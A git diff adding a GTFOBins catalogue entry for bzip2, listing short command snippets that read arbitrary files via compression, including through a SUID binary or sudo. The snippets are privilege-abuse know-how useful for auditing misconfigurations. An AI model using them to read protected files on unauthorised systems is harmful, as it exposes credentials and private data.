diff --git a/_gtfobins/bzip2.md b/_gtfobins/bzip2.md new file mode 100644 index 0000000..1f7dd8b --- /dev/null +++ b/_gtfobins/bzip2.md @@ -0,0 +1,16 @@ +--- +description: There are also a number of other utilities that rely on `bzip2` under the hood, e.g., `bzless`, `bzcat`, `bunzip2`, etc. Besides having similar features, they also allow privileged reads if `bzip2` itself is SUID. +functions: + file-read: + - code: | + LFILE=file_to_read + bzip2 -c $LFILE | bzip2 -d + suid: + - code: | + LFILE=file_to_read + ./bzip2 -c $LFILE | bzip2 -d + sudo: + - code: | + LFILE=file_to_read + sudo bzip2 -c $LFILE | bzip2 -d +---